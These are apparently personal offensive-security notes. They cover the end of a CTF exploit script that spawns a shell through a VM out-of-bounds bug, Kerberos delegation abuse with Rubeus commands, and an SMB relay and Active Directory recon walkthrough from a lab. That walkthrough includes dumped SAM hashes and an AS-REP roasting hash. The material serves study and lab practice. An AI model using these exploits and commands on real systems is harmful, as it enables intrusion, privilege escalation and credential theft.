bytecode += VM_SET_R_32(0x15, (system >> 16) & 0xFFFF)
bytecode += VM_XOR_R_R_R(0x13, 0x13, 0x13)
bytecode += VM_ADD_R_R_R(0x13, 0x10, 0x15)
# set /bin/sh string to r14
bytecode += VM_XOR_R_R_R(0x14, 0x14, 0x14)
bytecode += VM_SET_R_16(0x14, u16(b"/b"))
bytecode += VM_SET_R_32(0x14, u16(b"in"))
bytecode += VM_SET_R_48(0x14, u16(b"/s"))
bytecode += VM_SET_R_64(0x14, u16(b"h\x00"))
# write 0x6f @ bytecode[0x4000]
# write 0x6e @ bytecode[0x4001]
bytecode += VM_XOR_R_R_R(0x11, 0x11, 0x11)
bytecode += VM_SET_R_16(0x11, 0x4000)
bytecode += VM_SET_R_16(0x12, 0x6F)
bytecode += VM_SETB_MEM_R(0x12, 0x11, 0x00)
bytecode += VM_SET_R_16(0x12, 0x6E)
bytecode += VM_SETB_MEM_R(0x12, 0x11, 0x01)
# shuffle vtable where vm->vtable[0] = vtable[0x6f] which contains
# /bin/sh string address and vm->vtable[1] = vtable[0x6e] which contains
# system function address
bytecode += VM_SHUFFLE_VTABLES(0x2, 0x11, 0x00)
# call system
bytecode += VM_MOV_R_MEM(0, 0, 0)
bytecode += VM_EXIT()
bytecode = bytecode.ljust(0x400, b"\x00")
for i in range(1, 256):
bytecode += VM_SET_R_16(i, i)
# oob read @ bytecode[0x8010] == __libc_start_main_ret
bytecode += VM_SET_R_16(0x10, 0x8010)
# __libc_start_main_ret bytes goes into r0, r1, r2, r3, r4, r5, r6
# r0 is now the least significant byte of __libc_start_main_ret
# so after shuffle, we execute insn at LSB + 0x4
bytecode += VM_SHUFFLE_REGS(6, 0x10, 0)
with tempfile.NamedTemporaryFile("wb") as f:
f.write(bytecode)
f.flush()
io = start(argv=[f.name])
if args.REMOTE:
io.sendlineafter(b">> ", b64encode(bytecode))
io.interactive()
Appendix
Reversed VM Source Code
typedef struct vm_regs
{
__int64 rX[256];
} vm_regs;
typedef struct s_vm
{
__int64 vtable[39];
vm_regs regs;
unsigned __int8 bytecode[32768];
} s_vm;
__int64 __fastcall main(int argc, char **argv, char **envp)
{
char *s1; // [rsp+10h] [rbp-8950h]
FILE *stream; // [rsp+18h] [rbp-8948h]
s_vm vm; // [rsp+20h] [rbp-8940h] BYREF
unsigned __int64 canary; // [rsp+8958h] [rbp-8h]
canary = __readfsqword(0x28u);
setup();
if ( argc == 2 )
{
s1 = argv[1];
if ( !strcmp(s1, "-h") || !strcmp(s1, "--help") )
{
usage();
return 0LL;
}
else
{
stream = fopen(s1, "r");
if ( stream )
{
init_vm(&vm);
fread(vm.bytecode, 1uLL, 32768uLL, stream);
fclose(stream);
exec_vm(&vm);
}
printf("error: could not open bytecode file `%s`\n", s1);
return 1LL;
}
}
else
{
usage();
return 1LL;
}
}
void __fastcall __noreturn exec_vm(s_vm *vm)
{
unsigned __int8 v1; // [rsp+1Bh] [rbp-5h]
unsigned int insn; // [rsp+1Ch] [rbp-4h]
while ( 1 )
{
insn = vm_get_insn(vm, vm->regs.rX[0]);
v1 = get_idx(insn);
if ( v1 > 38u )
break;
((void (__fastcall *)(s_vm *, _QWORD))vm->vtable[v1])(vm, insn);
}
puts("error: invalid opcode");
exit(1);
}
void __fastcall init_vm(void *dest)
{
int i; // [rsp+14h] [rbp-8944h]
s_vm vtable; // [rsp+18h] [rbp-8940h] BYREF
unsigned __int64 canary; // [rsp+8950h] [rbp-8h]
canary = __readfsqword(0x28u);
vtable.vtable[0] = (__int64)vm_next_insn;
vtable.vtable[1] = (__int64)vm_mov_r_mem;
vtable.vtable[2] = (__int64)vm_mov_mem_r;
vtable.vtable[3] = (__int64)vm_rearrange_vtable;
vtable.vtable[4] = (__int64)vm_rearrange_regs;
vtable.vtable[5] = (__int64)vm_exit;
vtable.vtable[6] = (__int64)vm_set_r_16;
vtable.vtable[7] = (__int64)vm_set_r_32;
vtable.vtable[8] = (__int64)vm_set_r_48;
vtable.vtable[9] = (__int64)vm_set_r_64;
vtable.vtable[10] = (__int64)vm_cmp_r_r;
vtable.vtable[11] = (__int64)vm_cmp_r_imm;
vtable.vtable[12] = (__int64)vm_set_r0;
vtable.vtable[13] = (__int64)vm_jnz;
vtable.vtable[14] = (__int64)vm_jz;
vtable.vtable[15] = (__int64)vm_jz_;
vtable.vtable[16] = (__int64)vm_je2;
vtable.vtable[17] = (__int64)vm_jne2;
vtable.vtable[18] = (__int64)vm_jnz_;
vtable.vtable[19] = (__int64)vm_add_rop1_rop2_rop3;
vtable.vtable[20] = (__int64)vm_add_rop1_rop2_op3;
vtable.vtable[21] = (__int64)vm_sub_rop1_rop2_rop3;
vtable.vtable[22] = (__int64)vm_sub_rop1_rop2_op3;
vtable.vtable[23] = (__int64)vm_mul_rop1_rop2_rop3;
vtable.vtable[24] = (__int64)vm_mul_rop1_rop2_op3;
vtable.vtable[25] = (__int64)vm_div_rop1_rop2_rop3;
vtable.vtable[26] = (__int64)vm_div_rop1_rop2_op3;
vtable.vtable[27] = (__int64)vm_or_rop1_rop2_rop3;
vtable.vtable[28] = (__int64)vm_or_rop1_rop2_op3;
vtable.vtable[29] = (__int64)vm_and_rop1_rop2_rop3;
vtable.vtable[30] = (__int64)vm_and_rop1_rop2_op3;
vtable.vtable[31] = (__int64)vm_xor_rop1_rop2_rop3;
vtable.vtable[32] = (__int64)vm_xor_rop1_rop2_op3;
vtable.vtable[33] = (__int64)vm_putc;
vtable.vtable[34] = (__int64)vm_getc;
vtable.vtable[35] = (__int64)vm_movb_r_mem;
vtable.vtable[36] = (__int64)vm_setb_mem_r;
vtable.vtable[37] = (__int64)vm_shl_rop1_rop2_rop3;
vtable.vtable[38] = (__int64)vm_shl_rop1_rop2_op3;
for ( i = 0; i <= 255; ++i )
vtable.regs.rX[i] = 0LL;
memset(vtable.bytecode, 0, sizeof(vtable.bytecode));
memcpy(dest, &vtable, 0x8938uLL);
}
__int64 __fastcall vm_get_insn(s_vm *vm, __int64 r0)
{
// potential oob access when r0 = -4
if ( (unsigned __int64)(r0 + 4) > 0x7FFF )
vm_oob_err();
return (vm->bytecode[r0 + 2] << 16) | (vm->bytecode[r0 + 1] << 8) | vm->bytecode[r0] | (vm->bytecode[r0 + 3] << 24);
}
void __fastcall _vm_next_insn(s_vm *vm)
{
vm->regs.rX[0] += 4LL;
}
unsigned __int64 __fastcall vm_rearrange_vtable(s_vm *vm, unsigned int insn)
{
unsigned __int64 i; // [rsp+18h] [rbp-158h]
unsigned __int64 j; // [rsp+20h] [rbp-150h]
unsigned __int8 *ptr; // [rsp+28h] [rbp-148h]
__int64 saved_vtable[39]; // [rsp+30h] [rbp-140h]
unsigned __int64 canary; // [rsp+168h] [rbp-8h]
canary = __readfsqword(0x28u);
// potential oob
ptr = &vm->bytecode[vm_add_rop2_op3(vm, insn)];
for ( i = 0LL; i <= 0x26; ++i )
saved_vtable[i] = vm->vtable[i];
for ( j = 0LL; j <= 0x26; ++j )
vm->vtable[j] = saved_vtable[ptr[j]];
_vm_next_insn(vm);
return __readfsqword(0x28u) ^ canary;
}
unsigned __int64 __fastcall vm_rearrange_regs(s_vm *vm, unsigned int insn)
{
unsigned __int8 op1; // [rsp+17h] [rbp-829h]
unsigned __int64 i; // [rsp+18h] [rbp-828h]
unsigned __int64 j; // [rsp+20h] [rbp-820h]
unsigned __int8 *ptr; // [rsp+28h] [rbp-818h]
__int64 saved_regs[256]; // [rsp+30h] [rbp-810h]
unsigned __int64 canary; // [rsp+838h] [rbp-8h]
canary = __readfsqword(0x28u);
op1 = vm_get_op1(insn);
// potential oob
ptr = &vm->bytecode[vm_add_rop2_op3(vm, insn)];
for ( i = 0LL; i <= 0xFF; ++i )
saved_regs[i] = vm->regs.rX[i];
for ( j = 0LL; j < op1; ++j )
vm->regs.rX[j] = saved_regs[ptr[j]];
_vm_next_insn(vm);
return __readfsqword(0x28u) ^ canary;
}
Kerberos Delegations
Keywords
active directory, kerberos, privesc, rbcdDelegations
graph LR A[User]<-->B[Service]; B<-->C[Resource];
user
requests forresource
viaservice
- In other words,
service
impersonateuser
to request forresource
- In other words,
service
request forresource
on behalf ofuser
- personal note: a ST to
krbtgt
service is basically a TGT
Unconstrained Delegation
service
account needs to haveTRUSTED_FOR_DELEGATION
flag enableduser
needs to haveNOT_DELEGATED
flag disabled and is not a member ofProtected Users
group- When
user
requests for ST (KRB_TGS_REQ
) to accessservice
, the domain controller responds with ST together with the copy of theuser
TGT - Thus,
service
can request for anyresource
impersonating asuser
using theuser
copied TGT
Abusing Unconstrained Delegation
Requirements:
- Compromised computer with unconstrained delegation
Attack:
- coerce authentication to our compromised computer to obtain a TGT
- use the TGT to do stuff
Constrained Delegation
service
can only request forresource
defined inmsDS-AllowedToDelegateTo
- Validation is done on
service
account side - Requires
SeEnableDelegationPrivilege
(domain admin level privilege) to modifymsDS-AllowedToDelegateTo
- Unlike unconstrained delegation, no copy of the
user
TGT is given to theservice
Without Protocol Transition (Kerberos Only)
- possible attack path:
S4U2Self
produces non-forwardable ST
With Protocol Transition (Any Authentication)
- Identified by
TrustedToAuthForDelegation
property S4U2Self
produces forwardable ST
Resource-based Constrained Delegation (RBCD)
resource
can only be requested fromservice
defined inmsDS-AllowedToActOnBehalfOfOtherIdentity
- Validation is done on
resource
account side - Only requires rights like
GenericAll
,GenericWrite
,WriteDacl
, etc., to modifymsDS-AllowedToActOnBehalfOfOtherIdentity
- Unlike unconstrained delegation, no copy of the
user
TGT is given to theservice
S4U2Self
TRUSTED_TO_AUTH_FOR_DELEGATION
appears to have no impact based on Elad's researchTRUSTED_TO_AUTH_FOR_DELEGATION
(Constrained Delegation w/ Protocol Transition) only determines theforwardable
flag on ST- If flag is set, the ST is
forwardable
- If flag is not set, the ST is not
forwardable
- If flag is set, the ST is
- For this to work, it only requires the service performing
S4U2Self
to have SPN - impersonating protected user would result in non-forwardable ST
Abusing S4U2Self
- To perform local privilege escalation
- Regardless of the impersonated user being sensitive for delegation, S4U2Self could be abused since the SPN (
sname
/service name) on the ST can be modified as it is not encrypted
S4U2Proxy
- Every ST generated from
S4U2Proxy
is always forwardable
Constrained Delegation
- requires ST to be
forwardable
user
needs to haveNOT_DELEGATED
flag disabled and is not a member ofProtected Users
group (such that the requested ST isforwardable
)service
embeds theuser
ST inadditional-tickets
field when requesting ST to accessresource
Resource-based Constrained Delegation (RBCD)
- Does not require the user ST to be forwardable but the user
NOT_DELEGATED
flag has the highest priority to determine the success ofS4U2Proxy
- In other words, if the user can be impersonated (
NOT_DELEGATED
not set and is not a member ofProtected Users
group), regardless of the existence offorwardable
flag in STS4U2Proxy
will always success - If the user
NOT_DELEGATED
flag is set and is not a member ofProtected Users
group, regardless of the existence offorwardable
flag in STS4U2Proxy
will always fail
Attack Scenario
Scenario 1 (Generic DACL Abuse)
Scenario:
- ServiceA is compromised computer account with:
- credentials and the ability
- DACL write privilege to modify
msDS-AllowedToActOnBehalfOfOtherIdentity
on the desired target
- ServiceB is our desired target
Attack Path:
- Use ServiceA's DACL write privilege to include ServiceA on ServiceB's
msDS-AllowedToActOnBehalfOfOtherIdentity
- result: now ServiceA is RBCD to ServiceB
S4U2Self
on ServiceA impersonating non-sensitive user- result: ST for non-sensitive user to access ServiceA
S4U2Proxy
on ServiceA- result: ST for the impersonated user to access ServiceB
- reason: this works regardless of previous ST forwardable flag
.\Rubeus.exe s4u /user:ServiceA$ /rc4:$ServiceANtlmHash /domain:domain.local /msdsspn:cifs/serviceb.domain.local /impersonateuser:administrator /ptt
# Outcome: PrivEsc on `ServiceB`
Scenario 2 (Reflective RBCD)
warning
According to @M4yFly testing, this has been sliently patched by Microsoft
Pre-requisites:
- computer account credentials or TGT (to perform
S4U2Self
) TRUSTED_TO_AUTH_FOR_DELEGATION
set on computer account (if the computer account is constrained delegation w/o protocol transition, then theS4U2Proxy
would fail since the resulting ST fromS4U2Self
is non-forwardable due to the absence ofTRUSTED_TO_AUTH_FOR_DELEGATION
)- DACL to modify the computer account
msDS-AllowedToActOnBehalfOfOtherIdentity
# Use DACL to include `ServiceA` on `ServiceA`'s `msDS-AllowedToActOnBehalfOfOtherIdentity`
# With credentials
.\Rubeus.exe s4u /user:ServiceA$ /rc4:$ServiceANtlmHash /domain:domain.local /msdsspn:cifs/servicea.domain.local /impersonateuser:administrator /ptt
# Or with TGT
.\Rubeus.exe s4u /user:ServiceA$ /ticket:<bas64 blob> /domain:domain.local /msdsspn:cifs/servicea.domain.local /impersonateuser:administrator /ptt
# Outcome: PrivEsc on `ServiceA`
Scenario 3 (Reflective RBCD Impersonating Protected Users)
warning
According to @M4yFly testing, this has been sliently patched by Microsoft
Pre-requisites:
- computer account credentials or TGT (to perform
S4U2Self
) TRUSTED_TO_AUTH_FOR_DELEGATION
set on computer account (if the computer account is constrained delegation w/o protocol transition, then theS4U2Proxy
would fail since the resulting ST fromS4U2Self
is non-forwardable due to the absence of TRUSTED_TO_AUTH_FOR_DELEGATION)- DACL to modify the computer account
msDS-AllowedToActOnBehalfOfOtherIdentity
(?)
# Use DACL to include `ServiceA` on `ServiceA`'s `msDS-AllowedToActOnBehalfOfOtherIdentity`
# Successful `S4U2Self`, but failed when `S4U2Proxy`
.\Rubeus.exe s4u /user:ServiceA$ /rc4:$ServiceANtlmHash /domain:domain.local /msdsspn:cifs/servicea.domain.local /impersonateuser:administrator /ptt
# Edit the `sname` field on the ST generated from `S4U2Self` from `ServiceA$` to `cifs/servicea.domain.local`
# Outcome: PrivEsc on `ServiceA`
Scenario 4 (Constrained Delegation w/o Protocol Transition)
Pre-requisites:
- computer account credentials or TGT (to perform DACL write
msDS-AllowedToActOnBehalfOfOtherIdentity
) that has constrained delegation without protocol transition - attacker controlled account with SPN (can be achieved by creating a computer account) and no delegation
Scenario:
- ServiceA (attacker controlled account with SPN and no delegation)
- ServiceB (compromised computer account credentials that has constrained delegation without protocol transition)
- ServiceC (ServiceB's msDS-AllowedToDelegateTo target)
Attack Path:
- Use DACL to write ServiceA on ServiceB's msDS-AllowedToActOnBehalfOfOtherIdentity
S4U2Self
on ServiceA- result: non-forwardable ST (administrator -> ServiceA)
- reason: non-forwardable due to the absence of
TrustedToAuthForDelegation
on ServiceA
S4U2Proxy
on ServiceA targetting ServiceB host SPN by embedding previously obtained non-forwardable ST onadditional-tickets
field- result: forwardable ST (administrator -> ServiceB)
- reason: this works because ServiceA is not configured to be constrained delegation which does not requires the embedded ST to be forwardable
S4U2Proxy
on ServiceB targetting ServiceC SPN (according to ServiceB'smsDS-AllowedToDelegateTo
value) by embedding previously obtained forwardable ST onadditional-tickets
field- result: forwardable ST (administrator -> ServiceC)
- reason:
S4U2Proxy
on ServiceB works because the embedded ST is forwardable, otherwise this fails
Scenario 5 (Double KCD)
Scenario:
- ServiceA is KCD w/ protocol transition with
msDS-AllowedToDelegateTo
set to ServiceB - ServiceB is KCD w/o protocol transition with
msDS-AllowedToDelegateTo
set to ServiceC
Pre-requisites:
- ServiceA credentials
Attack Path:
S4U2Self
on ServiceA- result: forwardable ST (administrator -> ServiceA)
- reason: forwardable as ServiceA has
TrustedToAuthForDelegation
(with protocol transition)
S4U2Proxy
on ServiceA to ServiceB- result: forwardable ST (administrator -> ServiceB)
- reason: success because the embedded ST from previous
S4U2Self
is forwardable
S4U2Proxy
on ServiceB to ServiceC- result: forwardable ST (administrator -> ServiceC)
- reason: success because the embedded ST from previous
S4U2Proxy
is forwardable
References
- https://en.hackndo.com/constrained-unconstrained-delegation/
- https://beta.hackndo.com/unconstrained-delegation-attack/
- https://beta.hackndo.com/resource-based-constrained-delegation-attack/
- https://labs.withsecure.com/publications/trust-years-to-earn-seconds-to-break
- https://blog.harmj0y.net/activedirectory/s4u2pwnage/
- https://blog.harmj0y.net/redteaming/another-word-on-delegation/
- https://blog.harmj0y.net/activedirectory/a-case-study-in-wagging-the-dog-computer-takeover/
- https://eladshamir.com/2019/01/28/Wagging-the-Dog.html
- https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html
- https://dirkjanm.io/worst-of-both-worlds-ntlm-relaying-and-kerberos-delegation/
- https://dirkjanm.io/krbrelayx-unconstrained-delegation-abuse-toolkit/
- https://exploit.ph/delegate-2-thyself.html
- https://exploit.ph/revisiting-delegate-2-thyself.html
- https://cyberstoph.org/posts/2021/06/abusing-kerberos-s4u2self-for-local-privilege-escalation/
- https://en.hackndo.com/service-principal-name-spn/#edge-case---host
- https://attl4s.github.io/assets/pdf/You_do_(not)_Understand_Kerberos_Delegation.pdf
- https://www.notsoshant.io/blog/attacking-kerberos-constrained-delegation/
- https://www.thehacker.recipes/ad/movement/kerberos/delegations#talk
- https://sensepost.com/blog/2020/chaining-multiple-techniques-and-tools-for-domain-takeover-using-rbcd/
SMB Relay Attack
Keywords
active directory, smb, NTLM relayInfrastructure
- dc01: 10.10.1.200
- ws01: 10.10.1.201
- ws02: 10.10.1.202
- attacker: 10.10.1.102
Pre-requisite
SMB Signing
-
using
nmap
$ nmap -vvv -p 445 -Pn --script smb2-security-mode.nse -oA nmap/smb 10.10.1.200 10.10.1.201 10.10.1.202 # Nmap 7.93 scan initiated Fri Dec 15 16:11:55 2023 as: nmap -vvv -p 445 -Pn --script smb2-security-mode.nse -oA nmap/smb 10.10.1.200 10.10.1.201 10.10.1.202 Nmap scan report for dc01 (10.10.1.200) Host is up, received user-set (0.0011s latency). Scanned at 2023-12-15 16:11:59 +08 for 0s PORT STATE SERVICE REASON 445/tcp open microsoft-ds syn-ack Host script results: | smb2-security-mode: | 311: |_ Message signing enabled and required Nmap scan report for ws01 (10.10.1.201) Host is up, received user-set (0.00090s latency). Scanned at 2023-12-15 16:11:59 +08 for 0s PORT STATE SERVICE REASON 445/tcp open microsoft-ds syn-ack Host script results: | smb2-security-mode: | 311: |_ Message signing enabled but not required Nmap scan report for ws02 (10.10.1.202) Host is up, received user-set (0.00096s latency). Scanned at 2023-12-15 16:11:59 +08 for 0s PORT STATE SERVICE REASON 445/tcp open microsoft-ds syn-ack Host script results: | smb2-security-mode: | 311: |_ Message signing enabled but not required Read data files from: /usr/bin/../share/nmap # Nmap done at Fri Dec 15 16:11:59 2023 -- 3 IP addresses (3 hosts up) scanned in 3.61 seconds
- Domain controller has
Message signing enabled and required
- Both workstations have
Message signing enabled but not required
(vulnerable to SMB relay attack)
- Domain controller has
-
using
netexec
$ netexec smb 10.10.1.200 10.10.1.201 10.10.1.202 --gen-relay-list smb-signing-false.txt SMB 10.10.1.201 445 WS01 [*] Windows 10.0 Build 17763 x64 (name:WS01) (domain:oscp.lab) (signing:False) (SMBv1:False) SMB 10.10.1.202 445 WS02 [*] Windows 10.0 Build 17763 x64 (name:WS02) (domain:oscp.lab) (signing:False) (SMBv1:False) SMB 10.10.1.200 445 DC01 [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:oscp.lab) (signing:True) (SMBv1:False)
- Domain controller has
signing:True
- Both workstations have
signing:False
(vulnerable to SMB relay attack)
- Domain controller has
Administrator Privilege
When relaying to target machine X
from machine Y
as a user domain\john
,
the user needs to have administrator privilege on the target machine X
for
this attack to work.
In the setup environment, oscp\alice
is in the Administrators
group on
both ws01
and ws02
. Thus, we could relay from anywhere (except for the
target machine itself) to either ws01
or ws02
as oscp\alice
. On the
other hand, oscp\bob
only has admin privilege on ws02
. Hence, we could
only relay from anywhere (dc01
, ws01
) to ws02
as oscp\bob
.
Example
note
If impacket is installed on a virtual environment and needs to execute with sudo
sudo --preserve-env=PATH env impacket-ntlmrelay ...
Relaying from ws01
to ws02
as oscp\alice
(Succeed)
Attacker
$ impacket-ntlmrelay -t 10.10.1.202 -smb2support
[...]
[*] Servers started, waiting for connections
[*] SMBD-Thread-5 (process_request_thread): Received connection from 10.10.1.201, attacking target smb://10.10.1.202
[*] Authenticating against smb://10.10.1.202 as OSCP/ALICE SUCCEED
[*] Service RemoteRegistry is in stopped state
[*] Service RemoteRegistry is disabled, enabling it
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x056273c5da163bf69d211acdca6423fc
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:5f91be10619e258821be997884b135f7:::
bob:1002:aad3b435b51404eeaad3b435b51404ee:217e50203a5aba59cefa863c724bf61b:::
[*] Done dumping SAM hashes for host: 10.10.1.202
[*] Stopping service RemoteRegistry
[*] Restoring the disabled state for service RemoteRegistry
Victim
C:\Users\Public> hostname
ws01
C:\Users\Public> net use \\10.10.1.102 /user:oscp\alice Passw0rd!
Relaying from ws02
to ws01
as oscp\bob
(Failed)
Attacker
$ impacket-ntlmrelay -t 10.10.1.201 -smb2support
[...]
[*] Servers started, waiting for connections
[*] SMBD-Thread-5 (process_request_thread): Received connection from 10.10.1.202, attacking target smb://10.10.1.201
[*] Authenticating against smb://10.10.1.201 as OSCP/BOB SUCCEED
[-] DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
Victim
C:\Users\Public> hostname
ws02
C:\Users\Public> net use \\10.10.1.102 /user:oscp\bob Passw0rd!
Recon
Network Enumeration
$ netexec smb 10.10.10.0/24
SMB 10.10.10.22 445 CASTELBLACK [*] Windows 10.0 Build 17763 x64 (name:CASTELBLACK) (domain:north.sevenkingdoms.local) (signing:False) (SMBv1:False)
SMB 10.10.10.12 445 MEEREEN [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:MEEREEN) (domain:essos.local) (signing:True) (SMBv1:True)
SMB 10.10.10.11 445 WINTERFELL [*] Windows 10.0 Build 17763 x64 (name:WINTERFELL) (domain:north.sevenkingdoms.local) (signing:True) (SMBv1:False)
SMB 10.10.10.10 445 KINGSLANDING [*] Windows 10.0 Build 17763 x64 (name:KINGSLANDING) (domain:sevenkingdoms.local) (signing:True) (SMBv1:False)
SMB 10.10.10.23 445 BRAAVOS [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:BRAAVOS) (domain:essos.local) (signing:False) (SMBv1:True)
Domain Controller IP Enumeration
From the domain name obtain previously, perform DNS lookup with the query _ldap._tcp.dc._msdcs.domain.name
against the list of IP addresses.
Based on the output below, KINGSLANDING
, WINTERFELL
, and MEEREEN
could potentially be the domain controllers.
$ DOMAIN_NAME=sevenkingdoms.local
$ cat hosts.txt
10.10.10.10
10.10.10.11
10.10.10.12
10.10.10.22
10.10.10.23
$ cat hosts.txt | xargs -I{} -n1 nslookup -type=srv _ldap._tcp.dc._msdcs.${DOMAIN_NAME} {}
Server: 10.10.10.10
Address: 10.10.10.10#53
_ldap._tcp.dc._msdcs.sevenkingdoms.local service = 0 100 389 kingslanding.sevenkingdoms.local.
Server: 10.10.10.11
Address: 10.10.10.11#53
_ldap._tcp.dc._msdcs.sevenkingdoms.local service = 0 100 389 kingslanding.sevenkingdoms.local.
Server: 10.10.10.12
Address: 10.10.10.12#53
Non-authoritative answer:
_ldap._tcp.dc._msdcs.sevenkingdoms.local service = 0 100 389 kingslanding.sevenkingdoms.local.
Authoritative answers can be found from:
kingslanding.sevenkingdoms.local internet address = 10.10.10.10
;; communications error to 10.10.10.22#53: connection refused
;; communications error to 10.10.10.22#53: timed out
;; communications error to 10.10.10.22#53: connection refused
;; no servers could be reached
;; communications error to 10.10.10.23#53: connection refused
;; communications error to 10.10.10.23#53: timed out
;; communications error to 10.10.10.23#53: connection refused
;; no servers could be reached
Users Enumeration (Unauthenticated)
Anonymous (RARE)
$ nxc smb 10.10.10.11 --users
SMB 10.10.10.11 445 WINTERFELL [*] Windows 10.0 Build 17763 x64 (name:WINTERFELL) (domain:north.sevenkingdoms.local) (signing:True) (SMBv1:False)
SMB 10.10.10.11 445 WINTERFELL [*] Trying to dump local users with SAMRPC protocol
SMB 10.10.10.11 445 WINTERFELL [+] Enumerated domain user(s)
SMB 10.10.10.11 445 WINTERFELL north.sevenkingdoms.local\Guest Built-in account for guest access to the computer/domain
SMB 10.10.10.11 445 WINTERFELL north.sevenkingdoms.local\arya.stark Arya Stark
SMB 10.10.10.11 445 WINTERFELL north.sevenkingdoms.local\sansa.stark Sansa Stark
SMB 10.10.10.11 445 WINTERFELL north.sevenkingdoms.local\brandon.stark Brandon Stark
SMB 10.10.10.11 445 WINTERFELL north.sevenkingdoms.local\rickon.stark Rickon Stark
SMB 10.10.10.11 445 WINTERFELL north.sevenkingdoms.local\hodor Brainless Giant
SMB 10.10.10.11 445 WINTERFELL north.sevenkingdoms.local\jon.snow Jon Snow
SMB 10.10.10.11 445 WINTERFELL north.sevenkingdoms.local\samwell.tarly Samwell Tarly (Password : Heartsbane)
SMB 10.10.10.11 445 WINTERFELL north.sevenkingdoms.local\jeor.mormont Jeor Mormont
SMB 10.10.10.11 445 WINTERFELL north.sevenkingdoms.local\sql_svc sql service
$ net rpc group members 'Domain Users' -W 'NORTH' -I '10.10.10.11' -U '%'
NORTH\Administrator
NORTH\vagrant
NORTH\krbtgt
NORTH\SEVENKINGDOMS$
NORTH\arya.stark
NORTH\eddard.stark
NORTH\catelyn.stark
NORTH\robb.stark
NORTH\sansa.stark
NORTH\brandon.stark
NORTH\rickon.stark
NORTH\hodor
NORTH\jon.snow
NORTH\samwell.tarly
NORTH\jeor.mormont
NORTH\sql_svc
$ enum4linux -a 10.10.10.11
Anonymously w/o Anonymous Session
$ nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='sevenkingdoms.local',userdb=wordlists.txt" 10.10.10.10
Guest Share Access
$ nxc smb 10.10.10.10-23 -u 'a' -p '' --shares
SMB 10.10.10.10 445 KINGSLANDING [*] Windows 10.0 Build 17763 x64 (name:KINGSLANDING) (domain:sevenkingdoms.local) (signing:True) (SMBv1:False)
SMB 10.10.10.11 445 WINTERFELL [*] Windows 10.0 Build 17763 x64 (name:WINTERFELL) (domain:north.sevenkingdoms.local) (signing:True) (SMBv1:False)
SMB 10.10.10.12 445 MEEREEN [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:MEEREEN) (domain:essos.local) (signing:True) (SMBv1:True)
SMB 10.10.10.23 445 BRAAVOS [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:BRAAVOS) (domain:essos.local) (signing:False) (SMBv1:True)
SMB 10.10.10.22 445 CASTELBLACK [*] Windows 10.0 Build 17763 x64 (name:CASTELBLACK) (domain:north.sevenkingdoms.local) (signing:False) (SMBv1:False)
SMB 10.10.10.10 445 KINGSLANDING [-] sevenkingdoms.local\a: STATUS_LOGON_FAILURE
SMB 10.10.10.11 445 WINTERFELL [-] north.sevenkingdoms.local\a: STATUS_LOGON_FAILURE
SMB 10.10.10.12 445 MEEREEN [-] essos.local\a: STATUS_LOGON_FAILURE
SMB 10.10.10.23 445 BRAAVOS [+] essos.local\a:
SMB 10.10.10.22 445 CASTELBLACK [+] north.sevenkingdoms.local\a:
SMB 10.10.10.23 445 BRAAVOS [*] Enumerated shares
SMB 10.10.10.23 445 BRAAVOS Share Permissions Remark
SMB 10.10.10.23 445 BRAAVOS ----- ----------- ------
SMB 10.10.10.23 445 BRAAVOS ADMIN$ Remote Admin
SMB 10.10.10.23 445 BRAAVOS all READ,WRITE Basic RW share for all
SMB 10.10.10.23 445 BRAAVOS C$ Default share
SMB 10.10.10.23 445 BRAAVOS CertEnroll Active Directory Certificate Services share
SMB 10.10.10.23 445 BRAAVOS IPC$ Remote IPC
SMB 10.10.10.23 445 BRAAVOS public Basic Read share for all domain users
SMB 10.10.10.22 445 CASTELBLACK [*] Enumerated shares
SMB 10.10.10.22 445 CASTELBLACK Share Permissions Remark
SMB 10.10.10.22 445 CASTELBLACK ----- ----------- ------
SMB 10.10.10.22 445 CASTELBLACK ADMIN$ Remote Admin
SMB 10.10.10.22 445 CASTELBLACK all READ,WRITE Basic RW share for all
SMB 10.10.10.22 445 CASTELBLACK C$ Default share
SMB 10.10.10.22 445 CASTELBLACK IPC$ READ Remote IPC
SMB 10.10.10.22 445 CASTELBLACK public Basic Read share for all domain users
Known Users w/o Password
AS-REP Roasting
$ GetNPUsers.py north.sevenkingdoms.local/ -no-pass -usersfile north_users.txt
Impacket v0.11.0 - Copyright 2023 Fortra
[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] User arya.stark doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User eddard.stark doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User catelyn.stark doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User robb.stark doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User sansa.stark doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$brandon.stark@NORTH.SEVENKINGDOMS.LOCAL:f8028e46ca48cc63a26c94cdee596e2f$0a45c573a3a882743451f7c340f160c4e612d2cac2d6f8000ee938c88bf67c09cb2be33bffa9fea792a4bda8c3a7eac61d73cb7c4049a3481a272fb7b7d66e96cbd284803902af41810d0ea1e832088cd8912863268421031efbfc3f659d2113376e2984f71eab683e62b22e33e46837e3823d764f4529ceb61c926906225e98b66934bb5c061cc5289f9f31d606a1bf7b6484e042c4905e2a6245be26b63f99d4c4030b16c7eeeaa170ee35eadc6e51d9a420d9456160d5648b67438b2edf458633c6678d4577cbc1527927d01de91b17e92c62ec6f45258d2a876afeb509659218728b2dab396065b854cba0c176cd02e7ec8238935b57344e6b61e7a7679716636b514374
